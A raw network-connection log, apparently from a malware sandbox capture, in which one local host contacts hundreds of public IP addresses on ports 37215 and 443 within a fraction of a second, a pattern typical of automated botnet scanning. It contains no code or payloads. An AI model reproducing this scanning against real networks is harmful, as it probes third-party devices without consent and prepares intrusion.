Oct 14, 2024 17:34:10.868619919 CEST	29625	37215	192.168.2.14	156.151.36.162
Oct 14, 2024 17:34:10.868623972 CEST	29625	37215	192.168.2.14	156.235.36.92
Oct 14, 2024 17:34:10.868628979 CEST	37215	29625	197.143.201.232	192.168.2.14
Oct 14, 2024 17:34:10.868638039 CEST	37215	29625	41.109.248.122	192.168.2.14
Oct 14, 2024 17:34:10.868639946 CEST	29625	37215	192.168.2.14	156.48.143.237
Oct 14, 2024 17:34:10.868647099 CEST	29625	37215	192.168.2.14	41.201.32.136
Oct 14, 2024 17:34:10.868647099 CEST	29625	37215	192.168.2.14	197.251.49.200
Oct 14, 2024 17:34:10.868649006 CEST	37215	29625	41.137.56.124	192.168.2.14
Oct 14, 2024 17:34:10.868660927 CEST	37215	29625	41.85.122.11	192.168.2.14
Oct 14, 2024 17:34:10.868664026 CEST	29625	37215	192.168.2.14	197.143.201.232
Oct 14, 2024 17:34:10.868670940 CEST	37215	29625	197.9.98.148	192.168.2.14
Oct 14, 2024 17:34:10.868676901 CEST	29625	37215	192.168.2.14	41.109.248.122
Oct 14, 2024 17:34:10.868685007 CEST	29625	37215	192.168.2.14	41.137.56.124
Oct 14, 2024 17:34:10.868686914 CEST	29625	37215	192.168.2.14	41.85.122.11
Oct 14, 2024 17:34:10.868709087 CEST	29625	37215	192.168.2.14	197.9.98.148
Oct 14, 2024 17:34:10.868757010 CEST	37215	29625	197.11.209.71	192.168.2.14
Oct 14, 2024 17:34:10.868767977 CEST	37215	29625	156.85.109.166	192.168.2.14
Oct 14, 2024 17:34:10.868777990 CEST	37215	29625	197.197.33.168	192.168.2.14
Oct 14, 2024 17:34:10.868782043 CEST	37215	29625	197.218.53.105	192.168.2.14
Oct 14, 2024 17:34:10.868823051 CEST	29625	37215	192.168.2.14	197.218.53.105
Oct 14, 2024 17:34:10.868824005 CEST	29625	37215	192.168.2.14	197.197.33.168
Oct 14, 2024 17:34:10.868824005 CEST	29625	37215	192.168.2.14	156.85.109.166
Oct 14, 2024 17:34:10.868824005 CEST	29625	37215	192.168.2.14	197.11.209.71
Oct 14, 2024 17:34:10.869015932 CEST	37215	29625	156.14.102.79	192.168.2.14
Oct 14, 2024 17:34:10.869029045 CEST	37215	29625	156.184.250.226	192.168.2.14
Oct 14, 2024 17:34:10.869038105 CEST	37215	29625	41.68.130.51	192.168.2.14
Oct 14, 2024 17:34:10.869048119 CEST	37215	29625	156.120.93.19	192.168.2.14
Oct 14, 2024 17:34:10.869056940 CEST	29625	37215	192.168.2.14	156.14.102.79
Oct 14, 2024 17:34:10.869056940 CEST	37215	29625	156.1.230.193	192.168.2.14
Oct 14, 2024 17:34:10.869057894 CEST	29625	37215	192.168.2.14	156.184.250.226
Oct 14, 2024 17:34:10.869061947 CEST	37215	29625	41.93.180.13	192.168.2.14
Oct 14, 2024 17:34:10.869066954 CEST	29625	37215	192.168.2.14	41.68.130.51
Oct 14, 2024 17:34:10.869071960 CEST	37215	29625	156.108.34.106	192.168.2.14
Oct 14, 2024 17:34:10.869076967 CEST	37215	29625	156.4.193.64	192.168.2.14
Oct 14, 2024 17:34:10.869080067 CEST	37215	29625	197.239.145.158	192.168.2.14
Oct 14, 2024 17:34:10.869088888 CEST	37215	29625	41.148.177.72	192.168.2.14
Oct 14, 2024 17:34:10.869091988 CEST	29625	37215	192.168.2.14	156.120.93.19
Oct 14, 2024 17:34:10.869097948 CEST	29625	37215	192.168.2.14	156.1.230.193
Oct 14, 2024 17:34:10.869097948 CEST	29625	37215	192.168.2.14	156.4.193.64
Oct 14, 2024 17:34:10.869098902 CEST	37215	29625	41.235.20.41	192.168.2.14
Oct 14, 2024 17:34:10.869108915 CEST	37215	29625	41.156.58.99	192.168.2.14
Oct 14, 2024 17:34:10.869111061 CEST	29625	37215	192.168.2.14	41.93.180.13
Oct 14, 2024 17:34:10.869117022 CEST	29625	37215	192.168.2.14	156.108.34.106
Oct 14, 2024 17:34:10.869117975 CEST	37215	29625	41.40.33.167	192.168.2.14
Oct 14, 2024 17:34:10.869124889 CEST	29625	37215	192.168.2.14	41.148.177.72
Oct 14, 2024 17:34:10.869127035 CEST	37215	29625	156.155.232.225	192.168.2.14
Oct 14, 2024 17:34:10.869132996 CEST	29625	37215	192.168.2.14	197.239.145.158
Oct 14, 2024 17:34:10.869133949 CEST	29625	37215	192.168.2.14	41.235.20.41
Oct 14, 2024 17:34:10.869138002 CEST	37215	29625	197.92.167.117	192.168.2.14
Oct 14, 2024 17:34:10.869147062 CEST	37215	29625	41.188.161.208	192.168.2.14
Oct 14, 2024 17:34:10.869147062 CEST	29625	37215	192.168.2.14	41.40.33.167
Oct 14, 2024 17:34:10.869155884 CEST	37215	29625	41.111.66.209	192.168.2.14
Oct 14, 2024 17:34:10.869160891 CEST	29631	443	192.168.2.14	117.169.240.99
Oct 14, 2024 17:34:10.869163036 CEST	29625	37215	192.168.2.14	41.156.58.99
Oct 14, 2024 17:34:10.869163990 CEST	37215	29625	41.38.210.31	192.168.2.14
Oct 14, 2024 17:34:10.869168043 CEST	37215	29625	197.107.27.47	192.168.2.14
Oct 14, 2024 17:34:10.869172096 CEST	37215	29625	41.194.140.122	192.168.2.14
Oct 14, 2024 17:34:10.869175911 CEST	37215	29625	156.147.50.91	192.168.2.14
Oct 14, 2024 17:34:10.869179964 CEST	37215	29625	156.207.10.166	192.168.2.14
Oct 14, 2024 17:34:10.869182110 CEST	29625	37215	192.168.2.14	156.155.232.225
Oct 14, 2024 17:34:10.869183064 CEST	29625	37215	192.168.2.14	197.92.167.117
Oct 14, 2024 17:34:10.869184017 CEST	37215	29625	156.44.81.151	192.168.2.14
Oct 14, 2024 17:34:10.869185925 CEST	29625	37215	192.168.2.14	41.188.161.208
Oct 14, 2024 17:34:10.869194984 CEST	37215	29625	41.65.49.77	192.168.2.14
Oct 14, 2024 17:34:10.869206905 CEST	29631	443	192.168.2.14	212.100.254.99
Oct 14, 2024 17:34:10.869206905 CEST	29631	443	192.168.2.14	148.57.150.232
Oct 14, 2024 17:34:10.869206905 CEST	29625	37215	192.168.2.14	41.38.210.31
Oct 14, 2024 17:34:10.869214058 CEST	37215	29625	41.237.240.168	192.168.2.14
Oct 14, 2024 17:34:10.869215012 CEST	29631	443	192.168.2.14	79.153.7.189
Oct 14, 2024 17:34:10.869221926 CEST	29625	37215	192.168.2.14	41.194.140.122
Oct 14, 2024 17:34:10.869223118 CEST	37215	29625	41.226.216.204	192.168.2.14
Oct 14, 2024 17:34:10.869234085 CEST	37215	29625	197.174.3.23	192.168.2.14
Oct 14, 2024 17:34:10.869234085 CEST	29631	443	192.168.2.14	79.163.249.93
Oct 14, 2024 17:34:10.869235992 CEST	29631	443	192.168.2.14	37.119.219.8
Oct 14, 2024 17:34:10.869236946 CEST	29625	37215	192.168.2.14	197.107.27.47
Oct 14, 2024 17:34:10.869236946 CEST	29631	443	192.168.2.14	109.244.131.244
Oct 14, 2024 17:34:10.869236946 CEST	29625	37215	192.168.2.14	156.44.81.151
Oct 14, 2024 17:34:10.869240046 CEST	29631	443	192.168.2.14	2.197.242.105
Oct 14, 2024 17:34:10.869240046 CEST	29625	37215	192.168.2.14	41.111.66.209
Oct 14, 2024 17:34:10.869240046 CEST	29631	443	192.168.2.14	210.91.35.111
Oct 14, 2024 17:34:10.869240046 CEST	29631	443	192.168.2.14	148.165.56.200
Oct 14, 2024 17:34:10.869240999 CEST	29631	443	192.168.2.14	94.193.132.29
Oct 14, 2024 17:34:10.869240999 CEST	29625	37215	192.168.2.14	156.207.10.166
Oct 14, 2024 17:34:10.869242907 CEST	29631	443	192.168.2.14	212.29.219.218
Oct 14, 2024 17:34:10.869245052 CEST	37215	29625	156.195.255.82	192.168.2.14
Oct 14, 2024 17:34:10.869246006 CEST	29625	37215	192.168.2.14	41.65.49.77
Oct 14, 2024 17:34:10.869251966 CEST	29631	443	192.168.2.14	212.210.43.208
Oct 14, 2024 17:34:10.869252920 CEST	29625	37215	192.168.2.14	156.147.50.91
Oct 14, 2024 17:34:10.869259119 CEST	37215	29625	41.130.43.66	192.168.2.14
Oct 14, 2024 17:34:10.869262934 CEST	37215	29625	197.214.12.129	192.168.2.14
Oct 14, 2024 17:34:10.869266987 CEST	37215	29625	156.63.253.229	192.168.2.14
Oct 14, 2024 17:34:10.869271040 CEST	37215	29625	41.82.190.106	192.168.2.14
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	42.141.115.196
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	212.166.116.188
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	37.239.215.171
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	212.121.152.197
Oct 14, 2024 17:34:10.869272947 CEST	29631	443	192.168.2.14	178.47.104.93
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	202.5.2.209
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	118.81.182.211
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	109.191.129.165
Oct 14, 2024 17:34:10.869273901 CEST	37215	29625	156.102.28.82	192.168.2.14
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	2.26.168.82
Oct 14, 2024 17:34:10.869271994 CEST	29631	443	192.168.2.14	109.232.26.39
Oct 14, 2024 17:34:10.869292974 CEST	37215	29625	41.151.11.157	192.168.2.14
Oct 14, 2024 17:34:10.869294882 CEST	29631	443	192.168.2.14	2.65.106.154
Oct 14, 2024 17:34:10.869294882 CEST	29625	37215	192.168.2.14	197.174.3.23
Oct 14, 2024 17:34:10.869296074 CEST	29625	37215	192.168.2.14	41.237.240.168
Oct 14, 2024 17:34:10.869296074 CEST	29631	443	192.168.2.14	94.49.133.29
Oct 14, 2024 17:34:10.869296074 CEST	29631	443	192.168.2.14	210.103.144.172
Oct 14, 2024 17:34:10.869296074 CEST	29631	443	192.168.2.14	117.129.203.74
Oct 14, 2024 17:34:10.869296074 CEST	29631	443	192.168.2.14	94.32.134.247
Oct 14, 2024 17:34:10.869301081 CEST	29631	443	192.168.2.14	148.203.234.71
Oct 14, 2024 17:34:10.869301081 CEST	29625	37215	192.168.2.14	41.226.216.204
Oct 14, 2024 17:34:10.869301081 CEST	37215	29625	41.187.85.120	192.168.2.14
Oct 14, 2024 17:34:10.869301081 CEST	29631	443	192.168.2.14	123.236.211.228
Oct 14, 2024 17:34:10.869301081 CEST	29631	443	192.168.2.14	94.253.118.76
Oct 14, 2024 17:34:10.869306087 CEST	37215	29625	197.47.134.39	192.168.2.14
Oct 14, 2024 17:34:10.869308949 CEST	29631	443	192.168.2.14	79.3.14.239
Oct 14, 2024 17:34:10.869308949 CEST	29631	443	192.168.2.14	148.65.151.68
Oct 14, 2024 17:34:10.869312048 CEST	29631	443	192.168.2.14	5.234.234.124
Oct 14, 2024 17:34:10.869312048 CEST	29631	443	192.168.2.14	5.47.111.116
Oct 14, 2024 17:34:10.869312048 CEST	29631	443	192.168.2.14	37.74.197.16
Oct 14, 2024 17:34:10.869316101 CEST	37215	29625	197.144.235.51	192.168.2.14
Oct 14, 2024 17:34:10.869323015 CEST	29625	37215	192.168.2.14	156.195.255.82
Oct 14, 2024 17:34:10.869323015 CEST	29631	443	192.168.2.14	148.28.7.172
Oct 14, 2024 17:34:10.869323015 CEST	29625	37215	192.168.2.14	197.214.12.129
Oct 14, 2024 17:34:10.869324923 CEST	37215	29625	197.83.245.62	192.168.2.14
Oct 14, 2024 17:34:10.869326115 CEST	29631	443	192.168.2.14	123.172.106.106
Oct 14, 2024 17:34:10.869332075 CEST	29631	443	192.168.2.14	2.244.228.239
Oct 14, 2024 17:34:10.869332075 CEST	29631	443	192.168.2.14	148.143.82.140
Oct 14, 2024 17:34:10.869332075 CEST	29631	443	192.168.2.14	210.158.164.83
Oct 14, 2024 17:34:10.869333029 CEST	29631	443	192.168.2.14	123.195.51.116
Oct 14, 2024 17:34:10.869333029 CEST	29631	443	192.168.2.14	212.203.2.0
Oct 14, 2024 17:34:10.869333982 CEST	37215	29625	197.33.63.108	192.168.2.14
Oct 14, 2024 17:34:10.869343996 CEST	37215	29625	197.88.53.3	192.168.2.14
Oct 14, 2024 17:34:10.869348049 CEST	29631	443	192.168.2.14	178.157.120.155
Oct 14, 2024 17:34:10.869348049 CEST	29631	443	192.168.2.14	123.202.29.96
Oct 14, 2024 17:34:10.869348049 CEST	29625	37215	192.168.2.14	156.63.253.229
Oct 14, 2024 17:34:10.869348049 CEST	29631	443	192.168.2.14	109.191.67.152
Oct 14, 2024 17:34:10.869350910 CEST	29631	443	192.168.2.14	212.23.253.208
Oct 14, 2024 17:34:10.869350910 CEST	29631	443	192.168.2.14	42.142.128.22
Oct 14, 2024 17:34:10.869350910 CEST	29625	37215	192.168.2.14	197.144.235.51
Oct 14, 2024 17:34:10.869352102 CEST	29631	443	192.168.2.14	117.175.18.183
Oct 14, 2024 17:34:10.869352102 CEST	29625	37215	192.168.2.14	41.130.43.66
Oct 14, 2024 17:34:10.869352102 CEST	29631	443	192.168.2.14	94.144.199.239
Oct 14, 2024 17:34:10.869352102 CEST	29631	443	192.168.2.14	212.145.21.129
Oct 14, 2024 17:34:10.869352102 CEST	29631	443	192.168.2.14	42.41.41.104
Oct 14, 2024 17:34:10.869354010 CEST	37215	29625	156.126.206.167	192.168.2.14
Oct 14, 2024 17:34:10.869355917 CEST	29631	443	192.168.2.14	42.173.78.82
Oct 14, 2024 17:34:10.869355917 CEST	29631	443	192.168.2.14	123.33.114.231
Oct 14, 2024 17:34:10.869359970 CEST	29631	443	192.168.2.14	202.2.185.141
Oct 14, 2024 17:34:10.869359970 CEST	29631	443	192.168.2.14	123.106.173.56
Oct 14, 2024 17:34:10.869359970 CEST	29631	443	192.168.2.14	212.11.238.82
Oct 14, 2024 17:34:10.869359970 CEST	29631	443	192.168.2.14	210.76.117.100
Oct 14, 2024 17:34:10.869363070 CEST	29631	443	192.168.2.14	2.20.253.129
Oct 14, 2024 17:34:10.869364023 CEST	29625	37215	192.168.2.14	41.82.190.106
Oct 14, 2024 17:34:10.869364023 CEST	37215	29625	197.69.202.52	192.168.2.14
Oct 14, 2024 17:34:10.869364023 CEST	29625	37215	192.168.2.14	156.102.28.82
Oct 14, 2024 17:34:10.869364023 CEST	29625	37215	192.168.2.14	41.151.11.157
Oct 14, 2024 17:34:10.869364023 CEST	29631	443	192.168.2.14	212.236.131.24
Oct 14, 2024 17:34:10.869369030 CEST	37215	29625	197.19.145.55	192.168.2.14
Oct 14, 2024 17:34:10.869373083 CEST	29631	443	192.168.2.14	5.167.87.20
Oct 14, 2024 17:34:10.869375944 CEST	37215	29625	156.13.163.220	192.168.2.14
Oct 14, 2024 17:34:10.869379997 CEST	37215	29625	41.184.153.38	192.168.2.14
Oct 14, 2024 17:34:10.869385004 CEST	37215	29625	156.157.126.211	192.168.2.14
Oct 14, 2024 17:34:10.869389057 CEST	37215	29625	197.97.237.116	192.168.2.14
Oct 14, 2024 17:34:10.869390965 CEST	29625	37215	192.168.2.14	197.47.134.39
Oct 14, 2024 17:34:10.869390965 CEST	29631	443	192.168.2.14	37.57.250.146
Oct 14, 2024 17:34:10.869390965 CEST	29631	443	192.168.2.14	148.237.151.24
Oct 14, 2024 17:34:10.869391918 CEST	29631	443	192.168.2.14	212.83.134.30
Oct 14, 2024 17:34:10.869391918 CEST	29625	37215	192.168.2.14	41.187.85.120
Oct 14, 2024 17:34:10.869391918 CEST	29631	443	192.168.2.14	148.2.155.224
Oct 14, 2024 17:34:10.869394064 CEST	37215	29625	41.209.241.210	192.168.2.14
Oct 14, 2024 17:34:10.869393110 CEST	29631	443	192.168.2.14	37.176.215.80
Oct 14, 2024 17:34:10.869391918 CEST	29631	443	192.168.2.14	210.230.220.163
Oct 14, 2024 17:34:10.869393110 CEST	29631	443	192.168.2.14	94.120.128.230
Oct 14, 2024 17:34:10.869393110 CEST	29631	443	192.168.2.14	42.180.52.180
Oct 14, 2024 17:34:10.869391918 CEST	29625	37215	192.168.2.14	197.83.245.62
Oct 14, 2024 17:34:10.869391918 CEST	29631	443	192.168.2.14	202.207.255.235
Oct 14, 2024 17:34:10.869393110 CEST	29631	443	192.168.2.14	117.163.243.214
Oct 14, 2024 17:34:10.869391918 CEST	29631	443	192.168.2.14	210.22.79.227
Oct 14, 2024 17:34:10.869404078 CEST	37215	29625	156.160.109.97	192.168.2.14
Oct 14, 2024 17:34:10.869405985 CEST	29631	443	192.168.2.14	5.8.174.250
Oct 14, 2024 17:34:10.869405985 CEST	29631	443	192.168.2.14	123.156.213.194
Oct 14, 2024 17:34:10.869406939 CEST	29631	443	192.168.2.14	123.147.226.16
Oct 14, 2024 17:34:10.869406939 CEST	29625	37215	192.168.2.14	197.88.53.3
Oct 14, 2024 17:34:10.869410992 CEST	29631	443	192.168.2.14	5.77.10.84
Oct 14, 2024 17:34:10.869411945 CEST	29631	443	192.168.2.14	123.140.199.64
Oct 14, 2024 17:34:10.869411945 CEST	29631	443	192.168.2.14	5.29.202.142
Oct 14, 2024 17:34:10.869411945 CEST	29631	443	192.168.2.14	2.26.194.208
Oct 14, 2024 17:34:10.869411945 CEST	29631	443	192.168.2.14	37.154.131.208
Oct 14, 2024 17:34:10.869424105 CEST	29631	443	192.168.2.14	42.72.22.220
Oct 14, 2024 17:34:10.869424105 CEST	29631	443	192.168.2.14	178.222.73.119
Oct 14, 2024 17:34:10.869424105 CEST	29631	443	192.168.2.14	202.200.217.250
Oct 14, 2024 17:34:10.869427919 CEST	29631	443	192.168.2.14	42.2.212.87
Oct 14, 2024 17:34:10.869427919 CEST	29625	37215	192.168.2.14	197.33.63.108
Oct 14, 2024 17:34:10.869427919 CEST	29631	443	192.168.2.14	5.242.23.229
Oct 14, 2024 17:34:10.869427919 CEST	29631	443	192.168.2.14	2.208.186.62
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	109.138.104.94
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	148.179.193.212
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	212.251.147.226
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	123.239.85.200
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	210.245.133.212
Oct 14, 2024 17:34:10.869430065 CEST	29631	443	192.168.2.14	202.187.109.161
Oct 14, 2024 17:34:10.869437933 CEST	29631	443	192.168.2.14	123.221.43.71
Oct 14, 2024 17:34:10.869443893 CEST	29631	443	192.168.2.14	212.102.139.190
Oct 14, 2024 17:34:10.869446993 CEST	29631	443	192.168.2.14	42.252.15.250
Oct 14, 2024 17:34:10.869447947 CEST	29631	443	192.168.2.14	94.164.245.243
Oct 14, 2024 17:34:10.869448900 CEST	29631	443	192.168.2.14	178.119.161.0
Oct 14, 2024 17:34:10.869448900 CEST	29625	37215	192.168.2.14	197.19.145.55
Oct 14, 2024 17:34:10.869448900 CEST	29625	37215	192.168.2.14	197.97.237.116
Oct 14, 2024 17:34:10.869450092 CEST	29631	443	192.168.2.14	118.106.205.183
Oct 14, 2024 17:34:10.869450092 CEST	29625	37215	192.168.2.14	41.184.153.38
Oct 14, 2024 17:34:10.869451046 CEST	29631	443	192.168.2.14	118.209.89.248
Oct 14, 2024 17:34:10.869451046 CEST	29631	443	192.168.2.14	148.216.232.71
Oct 14, 2024 17:34:10.869451046 CEST	29625	37215	192.168.2.14	156.126.206.167
Oct 14, 2024 17:34:10.869451046 CEST	29625	37215	192.168.2.14	156.13.163.220
Oct 14, 2024 17:34:10.869451046 CEST	29631	443	192.168.2.14	79.175.102.115
Oct 14, 2024 17:34:10.869463921 CEST	29625	37215	192.168.2.14	197.69.202.52
Oct 14, 2024 17:34:10.869468927 CEST	29625	37215	192.168.2.14	41.209.241.210
Oct 14, 2024 17:34:10.869468927 CEST	29631	443	192.168.2.14	94.72.177.233
Oct 14, 2024 17:34:10.869468927 CEST	29631	443	192.168.2.14	202.152.107.114
Oct 14, 2024 17:34:10.869469881 CEST	29625	37215	192.168.2.14	156.157.126.211
Oct 14, 2024 17:34:10.869468927 CEST	29631	443	192.168.2.14	202.53.177.236
Oct 14, 2024 17:34:10.869471073 CEST	29631	443	192.168.2.14	37.162.106.251
Oct 14, 2024 17:34:10.869469881 CEST	29631	443	192.168.2.14	148.108.207.175
Oct 14, 2024 17:34:10.869472027 CEST	29631	443	192.168.2.14	109.42.60.255
Oct 14, 2024 17:34:10.869472027 CEST	29631	443	192.168.2.14	117.214.187.128
Oct 14, 2024 17:34:10.869474888 CEST	29631	443	192.168.2.14	123.172.55.219
Oct 14, 2024 17:34:10.869474888 CEST	29631	443	192.168.2.14	148.217.237.11
Oct 14, 2024 17:34:10.869474888 CEST	29631	443	192.168.2.14	109.90.25.92
Oct 14, 2024 17:34:10.869482994 CEST	29631	443	192.168.2.14	148.111.152.18
Oct 14, 2024 17:34:10.869489908 CEST	29631	443	192.168.2.14	178.124.9.192
Oct 14, 2024 17:34:10.869489908 CEST	29631	443	192.168.2.14	212.143.60.83
Oct 14, 2024 17:34:10.869489908 CEST	29631	443	192.168.2.14	123.110.199.47
Oct 14, 2024 17:34:10.869489908 CEST	29631	443	192.168.2.14	94.119.235.254
Oct 14, 2024 17:34:10.869492054 CEST	29625	37215	192.168.2.14	156.160.109.97
Oct 14, 2024 17:34:10.869492054 CEST	29631	443	192.168.2.14	210.7.175.31
Oct 14, 2024 17:34:10.869493008 CEST	29631	443	192.168.2.14	212.215.30.240
Oct 14, 2024 17:34:10.869493008 CEST	29631	443	192.168.2.14	109.35.41.10
Oct 14, 2024 17:34:10.869498014 CEST	37215	29625	156.159.188.232	192.168.2.14
Oct 14, 2024 17:34:10.869503021 CEST	29631	443	192.168.2.14	118.85.51.131
Oct 14, 2024 17:34:10.869503021 CEST	29631	443	192.168.2.14	37.118.168.24
Oct 14, 2024 17:34:10.869508982 CEST	37215	29625	41.165.211.157	192.168.2.14
Oct 14, 2024 17:34:10.869509935 CEST	29631	443	192.168.2.14	212.133.10.235
Oct 14, 2024 17:34:10.869509935 CEST	29631	443	192.168.2.14	42.195.67.200
Oct 14, 2024 17:34:10.869509935 CEST	29631	443	192.168.2.14	202.187.141.109
Oct 14, 2024 17:34:10.869509935 CEST	29631	443	192.168.2.14	210.5.43.8
Oct 14, 2024 17:34:10.869512081 CEST	29631	443	192.168.2.14	79.215.85.47
Oct 14, 2024 17:34:10.869510889 CEST	29631	443	192.168.2.14	212.25.102.102
Oct 14, 2024 17:34:10.869512081 CEST	29631	443	192.168.2.14	178.46.225.40
Oct 14, 2024 17:34:10.869518995 CEST	37215	29625	41.111.54.120	192.168.2.14
Oct 14, 2024 17:34:10.869524002 CEST	29631	443	192.168.2.14	5.44.116.87
Oct 14, 2024 17:34:10.869524002 CEST	29631	443	192.168.2.14	178.174.74.152
Oct 14, 2024 17:34:10.869528055 CEST	29631	443	192.168.2.14	178.18.240.106
Oct 14, 2024 17:34:10.869529009 CEST	29631	443	192.168.2.14	178.53.19.210
Oct 14, 2024 17:34:10.869529009 CEST	29631	443	192.168.2.14	210.245.154.228
Oct 14, 2024 17:34:10.869529009 CEST	29631	443	192.168.2.14	94.83.165.25
Oct 14, 2024 17:34:10.869529009 CEST	29631	443	192.168.2.14	117.85.3.69
Oct 14, 2024 17:34:10.869529009 CEST	29631	443	192.168.2.14	42.242.161.34
Oct 14, 2024 17:34:10.869544983 CEST	29631	443	192.168.2.14	123.241.113.139
Oct 14, 2024 17:34:10.869544983 CEST	29631	443	192.168.2.14	123.136.224.199
Oct 14, 2024 17:34:10.869544983 CEST	29631	443	192.168.2.14	5.160.76.136
Oct 14, 2024 17:34:10.869544983 CEST	29631	443	192.168.2.14	79.81.27.227
Oct 14, 2024 17:34:10.869546890 CEST	29631	443	192.168.2.14	109.77.208.32
Oct 14, 2024 17:34:10.869546890 CEST	29631	443	192.168.2.14	123.43.101.91
Oct 14, 2024 17:34:10.869546890 CEST	29631	443	192.168.2.14	2.116.156.168
Oct 14, 2024 17:34:10.869548082 CEST	29625	37215	192.168.2.14	156.159.188.232
Oct 14, 2024 17:34:10.869548082 CEST	29631	443	192.168.2.14	37.83.142.131
Oct 14, 2024 17:34:10.869546890 CEST	29631	443	192.168.2.14	123.211.115.38
Oct 14, 2024 17:34:10.869549990 CEST	29631	443	192.168.2.14	123.54.57.205
Oct 14, 2024 17:34:10.869546890 CEST	29631	443	192.168.2.14	109.23.195.136
Oct 14, 2024 17:34:10.869549990 CEST	29631	443	192.168.2.14	5.165.106.22
Oct 14, 2024 17:34:10.869548082 CEST	29631	443	192.168.2.14	148.97.35.237
Oct 14, 2024 17:34:10.869549990 CEST	29631	443	192.168.2.14	117.99.131.213
Oct 14, 2024 17:34:10.869548082 CEST	29631	443	192.168.2.14	210.208.140.129
Oct 14, 2024 17:34:10.869549990 CEST	29631	443	192.168.2.14	212.126.234.240
Oct 14, 2024 17:34:10.869548082 CEST	29631	443	192.168.2.14	202.24.215.118
Oct 14, 2024 17:34:10.869565010 CEST	29631	443	192.168.2.14	2.0.134.184
Oct 14, 2024 17:34:10.869565010 CEST	29631	443	192.168.2.14	118.187.176.40
Oct 14, 2024 17:34:10.869565964 CEST	29631	443	192.168.2.14	79.253.188.72
Oct 14, 2024 17:34:10.869565964 CEST	29631	443	192.168.2.14	178.106.191.87
Oct 14, 2024 17:34:10.869565964 CEST	29631	443	192.168.2.14	117.226.7.221
Oct 14, 2024 17:34:10.869565964 CEST	29631	443	192.168.2.14	123.160.148.157
Oct 14, 2024 17:34:10.869568110 CEST	29631	443	192.168.2.14	2.66.56.193
Oct 14, 2024 17:34:10.869569063 CEST	29631	443	192.168.2.14	37.89.78.20
Oct 14, 2024 17:34:10.869570017 CEST	29631	443	192.168.2.14	2.122.156.230
Oct 14, 2024 17:34:10.869569063 CEST	29631	443	192.168.2.14	210.54.189.129
Oct 14, 2024 17:34:10.869570017 CEST	29631	443	192.168.2.14	37.20.55.74
Oct 14, 2024 17:34:10.869573116 CEST	29631	443	192.168.2.14	178.204.22.57
Oct 14, 2024 17:34:10.869574070 CEST	29631	443	192.168.2.14	118.169.161.51
Oct 14, 2024 17:34:10.869592905 CEST	29631	443	192.168.2.14	109.10.149.156
Oct 14, 2024 17:34:10.869592905 CEST	29631	443	192.168.2.14	202.10.36.22
Oct 14, 2024 17:34:10.869594097 CEST	29631	443	192.168.2.14	212.106.66.76
Oct 14, 2024 17:34:10.869594097 CEST	29631	443	192.168.2.14	94.84.171.25
Oct 14, 2024 17:34:10.869594097 CEST	29631	443	192.168.2.14	109.21.237.226
Oct 14, 2024 17:34:10.869594097 CEST	29631	443	192.168.2.14	37.61.125.216
Oct 14, 2024 17:34:10.869594097 CEST	29631	443	192.168.2.14	212.62.70.196
Oct 14, 2024 17:34:10.869596004 CEST	29625	37215	192.168.2.14	41.165.211.157
Oct 14, 2024 17:34:10.869596958 CEST	29625	37215	192.168.2.14	41.111.54.120
Oct 14, 2024 17:34:10.869596958 CEST	29631	443	192.168.2.14	202.144.213.41
Oct 14, 2024 17:34:10.869596958 CEST	29631	443	192.168.2.14	178.166.199.69
Oct 14, 2024 17:34:10.869597912 CEST	29631	443	192.168.2.14	210.149.209.36
Oct 14, 2024 17:34:10.869597912 CEST	29631	443	192.168.2.14	123.196.5.29
Oct 14, 2024 17:34:10.869597912 CEST	29631	443	192.168.2.14	109.137.125.11
Oct 14, 2024 17:34:10.869606018 CEST	29631	443	192.168.2.14	37.71.223.155
Oct 14, 2024 17:34:10.869606018 CEST	29631	443	192.168.2.14	117.67.245.214
Oct 14, 2024 17:34:10.869606018 CEST	29631	443	192.168.2.14	2.74.44.107
Oct 14, 2024 17:34:10.869606972 CEST	29631	443	192.168.2.14	79.168.226.30
Oct 14, 2024 17:34:10.869606972 CEST	29631	443	192.168.2.14	5.201.165.103
Oct 14, 2024 17:34:10.869610071 CEST	29631	443	192.168.2.14	123.64.228.130
Oct 14, 2024 17:34:10.869610071 CEST	29631	443	192.168.2.14	117.5.181.66
Oct 14, 2024 17:34:10.869610071 CEST	29631	443	192.168.2.14	79.73.82.195
Oct 14, 2024 17:34:10.869610071 CEST	29631	443	192.168.2.14	5.90.152.237
Oct 14, 2024 17:34:10.869611979 CEST	29631	443	192.168.2.14	109.134.185.204
Oct 14, 2024 17:34:10.869610071 CEST	29631	443	192.168.2.14	2.149.60.77
Oct 14, 2024 17:34:10.869615078 CEST	29631	443	192.168.2.14	212.157.189.117
Oct 14, 2024 17:34:10.869615078 CEST	29631	443	192.168.2.14	117.243.51.51
Oct 14, 2024 17:34:10.869618893 CEST	29631	443	192.168.2.14	79.253.228.15
Oct 14, 2024 17:34:10.869618893 CEST	29631	443	192.168.2.14	178.126.118.199
Oct 14, 2024 17:34:10.869618893 CEST	29631	443	192.168.2.14	210.113.206.197
Oct 14, 2024 17:34:10.869621038 CEST	29631	443	192.168.2.14	2.244.3.41
Oct 14, 2024 17:34:10.869622946 CEST	29631	443	192.168.2.14	94.66.31.177
Oct 14, 2024 17:34:10.869622946 CEST	37215	29625	156.232.17.230	192.168.2.14
Oct 14, 2024 17:34:10.869625092 CEST	29631	443	192.168.2.14	123.109.62.127
Oct 14, 2024 17:34:10.869622946 CEST	29631	443	192.168.2.14	117.96.184.201
Oct 14, 2024 17:34:10.869625092 CEST	29631	443	192.168.2.14	2.100.129.234
Oct 14, 2024 17:34:10.869630098 CEST	29631	443	192.168.2.14	42.216.78.31
Oct 14, 2024 17:34:10.869631052 CEST	29631	443	192.168.2.14	2.147.3.150
Oct 14, 2024 17:34:10.869630098 CEST	29631	443	192.168.2.14	117.157.233.53
